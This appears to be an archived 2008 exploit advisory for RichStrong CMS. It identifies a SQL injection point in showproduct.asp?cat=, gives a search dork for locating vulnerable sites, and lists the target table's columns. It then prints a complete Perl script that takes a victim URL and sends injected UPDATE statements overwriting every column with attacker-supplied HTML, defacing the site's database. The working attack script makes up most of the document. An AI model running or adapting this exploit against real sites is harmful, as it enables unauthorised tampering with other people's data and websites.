Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

PHPEchoCMS Multible remote vulnerabilitis

JoomlaFlash Component Multiple Remote File Inclusion

Gradman <= 0.1.3  (agregar_info. php?tabla=) Local File Inclusion Exploit

[waraxe-2008-SA#061] - Remote Code Execution in MyBB 1.2.10

From:	Jose Luis Góngora Fernández <sys-project_(at)_hotmail.com>
Date:	17.01.2008
Subject:	RichStrong CMS (showproduct.asp?cat=) Remote SQL Injection Exploit

[+] Info:

[~] Software: RichStrong CMS
[~] HomePage: http://www.hzrich.cn
[~] Exploit: Remote Sql Injection [High]
[~] Where: showproduct.asp?cat=
[~] Bug Found By: Jose Luis Góngora Fernández|JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Dork: "Power by:RichStrong CMS"
[~] Dork2: Priv8, xD!

[+] Tables:

[*] Table 1: subject

[+] Columns:

[*] Column 1: id
[*] Column 2: subjectname
[*] Column 3: subjecttype
[*] Column 4: displayorder
[*] Column 5: description
[*] Column 6: layout
[*] Column 7: style
[*] Column 8: category
[*] Column 9: workflowID_R
[*] Column 10: workflowID_S
[*] Column 11: status
[*] Column 12: owner
[*] Column 13: isinherit
[*] Column 14: doclistcount
[*] Column 15: docstyle
[*] Column 16: docsecrettype
[*] Column 17: docpubdays
[*] Column 18: wwwname
[*] Column 19: logo
[*] Column 20: contactus

[+] Exploit:


#!/usr/bin/perl

# RichStrong CMS - Remote SQL Injection Exploit
# Code by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team
# www.spanish-hackers.com

use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

sub lw
{

my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
                  $linux="0";
           }else{
                   $linux="1";
           }
               if($linux){
system("clear");
}
else{
system("cls");
system ("title RichStrong CMS - Remote SQL Injection Exploit - By JosS");
system ("color 02");
}

}

#*************************** expl ******************************


&lw;

print "\t\t########################################################\n\
n";
print "\t\t#    RichStrong CMS - Remote SQL Injection Exploit     #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\
n";

print "Url Victim (Ex: www.localhost/showproduct.asp?cat=):  ";
$host=<STDIN>;
chomp $host;
print "\n";

 if ( $host   !~   /^http:/ ) {

   # lo añadimos
   $host = 'http://' . $host;
}


print "Message: ";
$message=<STDIN>;
chomp $message;
print "\n";

@columnas=("id","subjectname","subjecttype",
"displayorder","description","layout",
"style","category","workflowID_R",
"workflowID_S","status","owner",
"isinherit","doclistcount","docstyle",
"docsecrettype","docpubdays","wwwname",
"logo","contactus");


for ($i=0;$i<=21;$i++)

{

$comando="'%20update%20subject%20set%20$columnas[$i]='
<h1>$message'--";
$comando =~ s/ /+/g;

my $final = $host.$comando;
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;

print "update: $columnas[$i]\n";

}